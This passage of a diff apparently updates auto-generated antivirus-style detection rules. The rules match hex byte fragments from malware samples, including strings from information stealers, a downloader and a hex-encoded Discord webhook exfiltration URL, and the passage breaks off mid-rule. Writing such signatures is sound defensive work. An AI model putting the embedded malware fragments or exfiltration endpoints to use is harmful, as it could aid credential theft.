59 77 44 4e 2b 6f 7a 78 34 4d 34 4c 4a 49 3d 01 00 18 81 01 75 33 78 36 49 45 32 32 50 38 4f 68 6b 4e 32 79 68 72 74 59 4b 77 3d 3d 01 00 18 81 01 52 59 53 66 69 6a 6e 4a 4d 66 58 4c 72 62 75 6c 37 47 47 6d 69 41 3d 3d 01 00 2c 81 01 31 4e 64 65 } //27503 - $a_62_7 = {76 34 79 57 53 62 37 30 63 6c 79 6b 77 58 4e 37 75 77 53 51 69 2b 69 67 44 4c 58 53 51 6b 65 55 78 34 3d 01 00 18 81 01 59 4e 52 31 48 47 58 71 62 6d 4d 62 44 49 4c 78 44 6f 6b 51 31 77 3d 3d 00 00 78 69 01 00 10 00 10 00 10 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 6e 6f 6f 6e 2e 53 53 4d } //12084 - $a_21_8 = {54 42 00 01 00 0d 80 01 6d 69 65 64 6f 63 6d 63 78 74 67 69 75 01 00 0d 80 01 6e 66 75 6b 7a 6b 79 64 6e 62 6a 63 6e 01 00 0c 80 01 6a 6c 73 68 6f 63 70 66 70 79 6b 78 } //13121 - $a_80_9 = {73 63 6d 61 77 74 78 61 76 65 } //scmawtxave 1 - $a_80_10 = {68 74 67 79 70 6f 6d 6f 70 78 } //htgypomopx 1 + $a_62_7 = {76 34 79 57 53 62 37 30 63 6c 79 6b 77 58 4e 37 75 77 53 51 69 2b 69 67 44 4c 58 53 51 6b 65 55 78 34 3d 01 00 18 81 01 59 4e 52 31 48 47 58 71 62 6d 4d 62 44 49 4c 78 44 6f 6b 51 31 77 3d 3d 00 00 78 69 01 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 16 } //12084 + $a_49_8 = {74 65 72 6e 61 6c 45 72 61 49 6e 66 6f 52 65 63 6f 72 64 01 00 0f 81 01 57 69 6e 61 70 69 2e 49 70 45 78 70 6f 72 74 01 00 0e 81 01 47 65 74 53 74 61 72 74 75 70 49 6e 66 6f 01 00 0c 81 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 01 00 15 81 01 43 6f 6e 76 } //385 + $a_53_9 = {64 54 6f 53 74 72 69 6e 67 53 69 64 01 00 13 81 01 5f 5f 64 62 6b 5f 66 63 61 6c 6c 5f 77 72 61 70 70 65 72 01 00 13 81 01 64 62 6b 46 43 61 6c 6c 57 72 61 70 70 65 72 41 64 64 72 01 00 2c 81 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 4e 54 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 01 00 1e 81 01 57 6f } //29285 + $a_44_10 = {73 61 62 6c 65 57 6f 77 36 34 46 73 52 65 64 69 72 65 63 74 69 6f 6e 01 00 2c 81 01 54 68 69 73 20 69 6e 73 74 61 6c 6c 61 74 69 6f 6e 20 77 61 73 20 62 75 } //13943 condition: - ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*26209+(#a_01_2 & 1)*29801+(#a_6e_3 & 1)*28020+(#a_01_5 & 1)*4096+(#a_24_6 & 1)*27503+(#a_62_7 & 1)*12084+(#a_21_8 & 1)*13121+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1) >=11 + ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*26209+(#a_01_2 & 1)*29801+(#a_6e_3 & 1)*28020+(#a_01_5 & 1)*4096+(#a_24_6 & 1)*27503+(#a_62_7 & 1)*12084+(#a_49_8 & 1)*385+(#a_53_9 & 1)*29285+(#a_44_10 & 1)*13943) >=11 } -rule _InfrastructureShared_18508{ +rule _InfrastructureShared_19686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -224637,18 +239141,37 @@ rule _InfrastructureShared_18508{ $a_24_2 = {4c 6f 61 64 24 24 24 01 00 14 81 01 24 24 24 67 65 74 5f 45 6e 74 72 79 50 6f 69 6e 74 24 24 24 01 00 0c 81 } //385 $a_24_3 = {6e 76 6f 6b 65 24 24 24 01 00 1c 81 01 6e 63 58 78 57 2f 38 61 41 69 4d 48 59 59 77 44 4e 2b 6f 7a 78 34 4d } //9217 $a_49_4 = {01 00 18 81 01 75 33 78 36 49 45 32 32 50 38 4f 68 6b 4e 32 79 68 72 74 59 4b 77 3d 3d 01 00 18 81 01 52 59 53 66 69 6a 6e 4a 4d 66 58 4c 72 62 75 6c 37 47 47 6d 69 41 3d 3d 01 00 2c 81 01 31 4e 64 65 34 2f 6b 62 41 76 34 } //19508 - $a_62_5 = {30 63 6c 79 6b 77 58 4e 37 75 77 53 51 69 2b 69 67 44 4c 58 53 51 6b 65 55 78 34 3d 01 00 18 81 01 59 4e 52 31 48 47 58 71 62 6d 4d 62 44 49 4c 78 44 6f 6b 51 31 77 3d 3d 00 00 78 69 01 00 10 00 10 00 10 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a } //22393 - $a_33_6 = {2f 53 70 79 6e 6f 6f 6e 2e 53 53 4d 41 33 38 21 4d 54 42 00 01 00 0d 80 01 6d 69 65 64 6f 63 6d 63 78 74 67 69 75 01 00 0d 80 01 6e 66 75 6b 7a 6b 79 64 6e 62 6a 63 6e 01 00 0c 80 01 6a 6c 73 68 6f 63 70 66 70 79 6b 78 01 00 0a 80 01 73 63 6d 61 77 74 78 61 76 65 01 00 0a 80 01 68 74 67 79 70 6f 6d 6f 70 78 01 00 0f 80 01 62 78 } //26967 - $a_72_7 = {64 7a 79 71 71 77 62 64 01 00 0c 80 01 6e 7a 69 65 69 78 77 64 6a 65 6f 61 01 00 0c 80 01 6a 64 66 6f 66 72 6f 62 67 62 6b 68 01 00 0c 80 01 63 75 6b 64 79 6c 72 73 67 61 79 72 01 00 21 80 01 30 20 30 24 30 28 30 2c 30 30 30 34 30 38 30 3c 30 40 30 44 30 48 30 4c 30 50 30 54 30 58 30 5c 30 01 00 11 80 01 44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 01 00 } //28785 - $a_5c_8 = {61 } //-32744 a - $a_69_9 = {65 73 5c 68 69 6a 61 63 6b 69 6e 67 2e 65 78 65 01 00 08 80 01 5c 63 75 74 2e 64 6c 6c 01 00 0f 80 01 53 68 65 6c 6c 45 78 65 63 75 74 65 45 78 41 01 00 13 80 01 44 6c 6c 55 6e 72 65 67 69 73 74 65 72 53 65 72 76 65 72 01 00 09 80 01 40 43 3a 5c 54 45 4d 50 5c 00 00 78 6a 01 00 02 00 02 00 05 00 21 23 53 4c 46 } //28784 - $a_3a_10 = {61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 46 6c 79 68 65 61 72 74 2e 42 21 64 68 61 00 01 00 26 01 5c 00 63 00 75 00 70 00 69 00 64 00 5c 00 56 00 65 00 6e 00 75 00 73 00 5c 00 56 00 65 00 6e 00 75 00 73 00 5c 00 01 00 6e 01 47 00 6f 00 74 00 20 00 } //17744 - $a_00_11 = {6c 00 6c 00 75 00 6c 00 61 00 72 00 20 00 69 00 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 20 00 66 00 6f 00 72 00 20 00 63 00 61 00 72 00 72 00 69 00 65 00 72 00 20 00 7b 00 30 00 7d 00 20 00 77 00 69 00 74 00 68 00 20 00 7b 00 31 00 7d 00 20 00 63 00 65 00 6c 00 6c 00 73 00 01 00 46 } //99 + $a_62_5 = {30 63 6c 79 6b 77 58 4e 37 75 77 53 51 69 2b 69 67 44 4c 58 53 51 6b 65 55 78 34 3d 01 00 18 81 01 59 4e 52 31 48 47 58 71 62 6d 4d 62 44 49 4c 78 44 6f 6b 51 31 77 3d 3d 00 00 78 69 01 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4f } //22393 + $a_73_6 = {2e 50 52 21 41 4d 54 42 00 01 00 16 81 01 54 49 6e 74 65 72 6e 61 6c 45 72 61 49 6e 66 6f 52 65 63 6f 72 64 01 00 0f 81 01 57 69 6e 61 70 69 2e 49 70 45 78 70 6f 72 74 01 00 0e 81 01 47 65 74 53 74 61 72 74 75 70 49 6e 66 6f 01 00 0c 81 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 01 00 15 81 01 43 6f 6e 76 65 72 74 53 69 64 54 6f 53 74 72 69 6e 67 53 69 } //26210 + $a_64_8 = {6b 5f 66 63 61 6c 6c 5f 77 72 61 70 70 65 72 01 00 13 81 01 64 62 6b 46 43 61 6c 6c 57 72 61 70 70 65 72 41 64 64 72 01 00 2c 81 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 4e 54 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 01 00 1e 81 01 57 6f } //24321 + $a_44_9 = {73 61 62 6c 65 57 6f 77 36 34 46 73 52 65 64 69 72 65 63 74 69 6f 6e 01 00 2c 81 01 54 68 69 73 20 69 6e 73 74 61 6c 6c 61 74 69 6f 6e 20 77 61 73 20 62 75 } //13943 + $a_20_10 = {69 74 68 20 49 6e 6e 6f 20 53 65 74 75 70 2e 01 00 0b 81 01 56 61 72 69 61 6e 74 43 6f 70 79 01 00 0e 81 01 43 61 6c 6c 57 69 6e 64 6f 77 50 72 6f 63 00 00 78 69 01 00 10 00 10 00 10 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 6e 6f 6f 6e 2e 53 53 4d 41 33 38 21 4d 54 42 00 01 00 0d 80 01 6d 69 65 64 6f 63 6d 63 78 74 } //27753 + $a_01_11 = {00 0d 80 01 6e 66 75 6b 7a 6b 79 64 6e 62 6a 63 6e 01 00 0c 80 01 6a 6c 73 68 6f 63 70 66 70 79 6b 78 01 00 0a 80 01 73 63 6d 61 77 74 78 61 76 65 01 00 0a 80 01 68 74 67 79 70 6f 6d 6f 70 78 01 00 0f 80 01 62 78 71 70 79 72 75 64 7a 79 71 71 77 62 64 01 00 0c 80 01 6e 7a 69 65 69 78 77 64 6a 65 6f 61 01 00 0c 80 01 6a 64 66 6f 66 72 6f 62 67 62 6b } //26983 condition: - ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*9330+(#a_24_2 & 1)*385+(#a_24_3 & 1)*9217+(#a_49_4 & 1)*19508+(#a_62_5 & 1)*22393+(#a_33_6 & 1)*26967+(#a_72_7 & 1)*28785+(#a_5c_8 & 1)*-32744+(#a_69_9 & 1)*28784+(#a_3a_10 & 1)*17744+(#a_00_11 & 1)*99) >=12 + ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*9330+(#a_24_2 & 1)*385+(#a_24_3 & 1)*9217+(#a_49_4 & 1)*19508+(#a_62_5 & 1)*22393+(#a_73_6 & 1)*26210+(#a_64_8 & 1)*24321+(#a_44_9 & 1)*13943+(#a_20_10 & 1)*27753+(#a_01_11 & 1)*26983) >=12 } -rule _InfrastructureShared_18509{ +rule _InfrastructureShared_19687{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 16 81 01 54 49 6e 74 65 72 6e 61 6c 45 72 61 49 6e 66 6f 52 65 63 6f 72 64 01 00 0f 81 01 57 69 6e 61 70 69 2e 49 70 45 78 70 6f 72 74 01 00 0e 81 01 47 65 74 53 74 61 72 74 75 } //18467 + $a_66_1 = {01 00 0c 81 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 01 00 15 81 01 43 6f 6e 76 65 72 74 53 69 64 54 6f 53 74 72 69 6e 67 53 69 64 01 00 13 81 01 5f 5f 64 62 6b 5f 66 63 61 6c 6c 5f 77 72 61 70 70 65 72 01 00 13 81 01 64 62 6b 46 43 61 6c 6c 57 72 61 70 70 65 72 41 64 64 72 01 00 2c 81 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f } //18800 + $a_74_2 = {57 69 6e 64 6f 77 73 20 4e 54 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 01 00 1e 81 01 57 6f 77 36 34 44 69 73 61 62 6c 65 57 6f 77 36 34 46 73 52 65 64 69 72 65 63 74 69 6f 6e 01 00 2c 81 01 54 68 69 73 20 69 6e 73 74 61 6c 6c 61 74 69 6f 6e 20 77 61 73 20 62 75 69 6c 74 20 77 69 74 68 20 49 6e 6e 6f } //28531 + $a_74_3 = {70 2e 01 00 0b 81 01 56 61 72 69 61 6e 74 43 6f 70 79 01 00 0e 81 01 43 61 6c 6c 57 69 6e 64 6f 77 50 72 6f 63 00 00 78 69 01 00 10 00 10 00 10 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 6e 6f 6f 6e 2e 53 53 4d 41 33 38 21 4d 54 42 00 01 00 0d 80 01 6d 69 65 64 6f 63 6d 63 } //21280 + $a_69_4 = {01 00 0d 80 01 6e 66 75 6b 7a 6b 79 64 6e 62 6a 63 6e 01 00 0c 80 01 6a 6c 73 68 6f 63 70 66 70 79 6b 78 01 00 0a 80 01 73 63 6d 61 77 74 78 61 76 65 01 00 0a 80 01 68 74 67 79 70 6f 6d 6f 70 78 01 00 0f 80 01 62 78 71 70 79 72 75 64 7a 79 71 71 77 62 64 01 00 0c 80 01 6e 7a 69 65 69 78 77 64 6a 65 6f 61 01 } //29816 + $a_01_5 = {6a 64 66 6f 66 72 6f 62 67 62 6b 68 01 00 0c 80 01 63 75 6b 64 79 6c 72 73 67 61 79 72 01 00 21 80 01 30 20 30 24 30 28 30 2c 30 30 30 34 30 38 30 3c 30 40 30 44 30 48 30 4c 30 50 30 54 30 58 30 5c 30 01 00 11 80 01 44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 01 00 18 80 01 5c 73 61 70 70 68 69 72 65 73 5c 68 69 6a 61 63 6b 69 6e 67 2e 65 78 65 01 00 08 80 01 5c 63 75 74 2e } //3072 + $a_01_6 = {00 0f 80 01 53 68 65 6c 6c 45 78 65 63 75 74 65 45 78 41 01 00 13 80 01 44 6c 6c 55 6e 72 65 67 69 73 74 65 72 53 65 72 76 65 72 01 00 09 80 01 40 43 3a 5c 54 45 4d 50 5c 00 00 78 6a 01 00 02 00 02 00 05 00 21 23 53 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 46 6c 79 68 65 61 72 74 2e 42 21 64 68 61 00 01 } //27748 + $a_5c_7 = {63 } //9728 c + $a_00_9 = {5c 00 56 00 65 00 6e 00 75 00 73 00 5c 00 56 00 65 00 6e 00 75 00 73 00 5c 00 01 00 6e 01 47 00 6f 00 74 00 20 00 63 00 65 00 6c 00 6c 00 75 00 6c 00 61 00 72 00 20 00 69 00 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 20 00 66 00 6f 00 72 00 20 00 63 00 61 00 72 00 72 00 69 00 65 00 } //105 + $a_00_10 = {7b 00 30 00 7d 00 20 00 77 00 69 00 74 00 68 00 20 00 7b 00 31 00 7d 00 20 00 63 00 65 00 6c 00 } //114 {0} with {1} cel + $a_00_11 = {01 00 46 01 41 00 67 00 65 00 6e 00 74 00 20 00 7b 00 30 00 7d 00 20 00 73 00 74 00 61 00 72 00 74 00 65 00 64 00 20 00 66 00 65 00 74 00 63 00 68 00 69 00 6e 00 67 00 20 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 73 00 01 00 30 01 47 00 65 00 74 00 57 00 68 00 61 00 74 00 73 00 61 00 70 00 70 00 43 00 6f 00 6e 00 76 00 65 00 72 00 73 00 61 } //108 + condition: + ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*18800+(#a_74_2 & 1)*28531+(#a_74_3 & 1)*21280+(#a_69_4 & 1)*29816+(#a_01_5 & 1)*3072+(#a_01_6 & 1)*27748+(#a_5c_7 & 1)*9728+(#a_00_9 & 1)*105+(#a_00_10 & 1)*114+(#a_00_11 & 1)*108) >=12 + +} +rule _InfrastructureShared_19688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -224670,7 +239193,7 @@ rule _InfrastructureShared_18509{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*27513+(#a_30_2 & 1)*12348+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_6a_7 & 1)*0+(#a_00_9 & 1)*114+(#a_00_11 & 1)*101+(#a_00_12 & 1)*27256+(#a_41_14 & 1)*8448+(#a_00_15 & 1)*67) >=16 } -rule _InfrastructureShared_18510{ +rule _InfrastructureShared_19689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -224683,7 +239206,7 @@ rule _InfrastructureShared_18510{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*366+(#a_00_3 & 1)*125+(#a_00_4 & 1)*65) >=2 } -rule _InfrastructureShared_18511{ +rule _InfrastructureShared_19690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -224694,7 +239217,7 @@ rule _InfrastructureShared_18511{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*99) >=3 } -rule _InfrastructureShared_18512{ +rule _InfrastructureShared_19691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -224707,7 +239230,7 @@ rule _InfrastructureShared_18512{ ((#a_4c_0 & 1)*21539+(#a_63_1 & 1)*21364+(#a_00_3 & 1)*32+(#a_00_5 & 1)*103) >=4 } -rule _InfrastructureShared_18513{ +rule _InfrastructureShared_19692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0b 00 21 " @@ -224721,13 +239244,13 @@ rule _InfrastructureShared_18513{ $a_2d_6 = {61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 33 03 67 65 74 5f 42 61 64 4c 6f 67 69 6e 41 64 64 72 65 73 73 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 } //14637 $a_7a_7 = {2d 5a 30 2d 39 90 00 01 00 33 03 67 65 74 5f 4c 61 73 74 46 61 69 6c 65 64 4c 6f 67 69 6e 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 } //24841 $a_19_8 = {09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 46 03 41 44 53 5f 55 46 5f 45 4e 43 52 59 50 54 45 44 5f 54 45 58 54 5f 50 41 53 53 57 4f 52 44 5f 41 4c 4c 4f 57 45 44 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 3a 03 67 65 74 5f 50 61 73 73 77 6f 72 64 45 78 70 69 72 61 74 69 6f 6e 44 61 74 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 } //1 - $a_00_9 = {00 00 78 6a 01 00 08 00 08 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 69 73 63 6f 72 64 2e 52 46 21 4d 54 42 00 01 00 78 81 01 68 74 74 70 73 3a 2f 2f 64 69 73 63 6f 72 64 2e 63 6f 6d 2f 61 70 69 2f 77 65 62 68 6f 6f 6b 73 2f 38 35 30 31 31 35 31 31 38 30 36 36 30 34 30 38 33 33 2f 6c 63 46 48 47 63 44 32 65 55 6a 76 31 7a 45 4a 4f 5f 50 65 64 36 45 41 56 55 37 57 34 34 4c 38 58 33 63 68 66 79 78 39 59 6f } //14637 - $a_59_10 = {53 64 6f 31 6d 71 46 42 49 64 54 57 4d 2d 47 4d 7a 74 66 7a 71 01 00 15 81 01 68 74 74 70 73 3a 2f 2f 69 70 34 2e 73 65 65 69 70 2e 6f 72 67 01 00 07 81 01 53 74 61 } //25161 + $a_00_9 = {00 00 78 6a 01 00 06 00 06 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 43 48 21 4d 54 42 00 02 00 38 01 7a 00 61 00 68 00 7a 00 61 00 74 00 7a 00 61 00 74 00 7a 00 61 00 70 00 7a 00 61 00 73 00 7a 00 61 00 3a 00 7a 00 61 00 2f 00 7a 00 61 00 2f 00 7a 00 61 00 69 00 7a 00 01 00 38 01 61 00 2e 00 7a 00 61 00 69 00 7a 00 61 00 62 00 7a 00 61 00 } //14637 + $a_00_10 = {61 00 2e 00 7a 00 61 00 63 00 7a 00 61 00 6f 00 7a 00 61 00 2f 00 7a 00 61 00 38 00 7a 00 61 00 01 00 38 01 34 00 7a 00 61 00 39 00 7a 00 61 00 37 00 7a 00 61 00 57 00 7a 00 61 00 50 00 7a 00 61 00 38 00 7a 00 61 00 30 00 7a 00 61 00 2f 00 7a 00 61 00 31 00 7a 00 61 00 36 00 01 00 36 01 7a 00 61 00 32 00 7a 00 61 00 32 00 7a 00 61 00 33 00 7a 00 61 00 35 00 7a 00 } //98 condition: - ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29810+(#a_74_2 & 1)*28161+(#a_6c_3 & 1)*30032+(#a_76_4 & 1)*14+(#a_09_5 & 1)*11408+(#a_2d_6 & 1)*14637+(#a_7a_7 & 1)*24841+(#a_19_8 & 1)*1+(#a_00_9 & 1)*14637+(#a_59_10 & 1)*25161) >=4 + ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29810+(#a_74_2 & 1)*28161+(#a_6c_3 & 1)*30032+(#a_76_4 & 1)*14+(#a_09_5 & 1)*11408+(#a_2d_6 & 1)*14637+(#a_7a_7 & 1)*24841+(#a_19_8 & 1)*1+(#a_00_9 & 1)*14637+(#a_00_10 & 1)*98) >=4 } -rule _InfrastructureShared_18514{ +rule _InfrastructureShared_19693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -224736,12 +239259,25 @@ rule _InfrastructureShared_18514{ $a_5a_1 = {2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 33 03 67 65 74 5f 42 61 64 4c 6f 67 69 6e 41 64 64 72 65 73 73 90 } //16697 $a_61_2 = {7a 41 2d 5a 30 2d 39 90 09 } //281 $a_19_3 = {09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 33 03 67 65 74 5f 4c 61 73 74 46 61 69 6c 65 64 4c 6f 67 69 6e 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 46 03 41 44 53 5f 55 46 5f 45 4e 43 52 59 50 54 45 44 5f 54 45 58 54 5f 50 41 53 53 57 4f 52 44 5f 41 4c 4c 4f 57 45 44 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 3a } //1 - $a_74_4 = {50 61 73 73 77 6f 72 64 45 78 70 69 72 61 74 69 6f 6e 44 61 74 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 00 00 78 6a 01 00 08 00 08 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 69 73 63 6f 72 64 2e 52 46 21 4d 54 42 00 01 00 } //26371 + $a_74_4 = {50 61 73 73 77 6f 72 64 45 78 70 69 72 61 74 69 6f 6e 44 61 74 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 00 00 78 6a 01 00 06 00 06 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 53 74 } //26371 condition: ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*16697+(#a_61_2 & 1)*281+(#a_19_3 & 1)*1+(#a_74_4 & 1)*26371) >=5 } -rule _InfrastructureShared_18515{ +rule _InfrastructureShared_19694{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 43 48 21 4d 54 42 00 02 00 38 01 7a 00 61 00 68 00 7a 00 61 00 74 00 7a 00 61 00 74 00 7a 00 61 00 70 } //21539 + $a_00_2 = {61 00 3a 00 7a 00 61 00 2f 00 7a 00 61 00 2f 00 7a 00 61 00 69 00 7a 00 01 00 38 01 61 00 2e 00 7a 00 61 00 69 00 7a 00 61 00 62 00 7a 00 61 00 62 00 7a 00 61 00 2e 00 7a 00 61 00 63 00 7a 00 61 00 6f 00 7a 00 61 00 2f 00 7a 00 61 00 38 00 7a 00 61 00 01 00 38 01 34 00 7a 00 61 00 39 00 7a 00 61 00 37 00 7a 00 61 00 57 00 7a 00 61 00 50 00 7a 00 61 00 38 00 7a 00 } //115 + $a_00_3 = {7a 00 61 00 2f 00 7a 00 61 00 31 00 7a 00 61 00 36 00 01 00 36 01 7a 00 61 00 32 00 7a 00 61 00 32 00 7a 00 61 00 33 00 7a 00 61 00 35 00 7a 00 } //97 + $a_00_4 = {7a 00 61 00 30 00 7a 00 61 00 33 00 7a 00 61 00 36 00 7a 00 61 00 37 00 01 00 40 01 7a 00 61 00 33 00 7a 00 61 00 30 00 7a 00 61 00 35 00 7a 00 61 00 32 00 7a 00 61 } //97 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*115+(#a_00_3 & 1)*97+(#a_00_4 & 1)*97) >=6 + +} +rule _InfrastructureShared_19695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -224757,7 +239293,7 @@ rule _InfrastructureShared_18515{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*12342+(#a_71_2 & 1)*12655+(#a_72_3 & 1)*17244+(#a_00_4 & 1)*8+(#a_61_5 & 1)*28530+(#a_00_7 & 1)*88) >=8 } -rule _InfrastructureShared_18516{ +rule _InfrastructureShared_19696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -224766,14 +239302,31 @@ rule _InfrastructureShared_18516{ $a_01_1 = {00 3e 01 74 00 63 00 32 00 4e 00 76 00 63 00 6d 00 78 00 70 00 59 00 67 00 42 00 54 00 65 00 58 00 4e 00 30 00 5a 00 57 00 30 00 41 00 55 00 33 00 6c 00 7a 00 64 00 47 00 56 00 74 00 4c 00 6b 00 01 00 3c 01 55 00 77 00 42 00 4a 00 } //81 $a_00_2 = {38 00 41 00 54 00 67 00 42 00 66 00 41 00 45 00 6b 00 41 00 54 00 67 00 42 00 47 00 41 00 45 00 38 00 30 06 30 06 30 06 4c 00 30 00 45 00 37 00 01 00 3f 01 48 00 6b 00 41 00 49 00 41 00 42 00 57 00 41 00 47 } //65 $a_00_4 = {42 00 7a 00 41 00 47 00 6b 00 41 00 62 00 77 00 42 00 75 00 30 06 30 06 4d 00 51 00 41 00 75 00 41 00 44 00 4d 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 0a 81 01 46 72 6f 6d 42 61 73 65 36 34 01 00 0b 81 01 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 0a 81 01 53 74 72 52 65 76 65 72 73 65 00 } //99 - $a_01_5 = {00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4d 4b 46 33 38 21 4d 54 42 00 01 00 11 81 01 45 66 66 65 6b 74 69 76 69 73 65 72 65 2e 50 65 6e 01 00 10 81 01 75 6e 64 65 72 6c 69 76 65 6e 65 73 2e 61 64 76 01 00 0d 81 01 5c 46 72 69 6e 67 65 62 61 61 64 } //30720 - $a_00_6 = {38 } //28261 8 - $a_46_7 = {73 74 65 62 65 68 61 6e 64 6c 69 6e 67 65 72 5c 54 79 6b 74 61 72 6d 73 75 6e 64 65 72 73 67 65 6c 73 65 72 6e 65 5c 53 74 72 61 79 5c 49 6e 64 74 72 64 65 6e 01 00 08 81 01 44 72 6f 70 2e 50 65 72 01 00 20 81 01 5c 70 72 65 62 61 64 65 5c 6d 6e 74 66 6f 64 65 6e 73 5c 73 61 } //385 + $a_01_5 = {00 08 00 08 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 65 64 6f 62 6a 2e 5a 41 21 4d 54 42 00 01 00 24 01 32 46 31 41 36 35 30 34 2d 30 36 34 31 2d 34 34 43 46 2d 38 42 42 35 2d 33 36 31 32 44 38 36 35 46 32 45 35 01 00 24 01 33 43 43 44 35 34 39 39 2d 38 37 41 38 2d 34 42 31 30 2d 41 32 } //30720 + $a_36_6 = {38 38 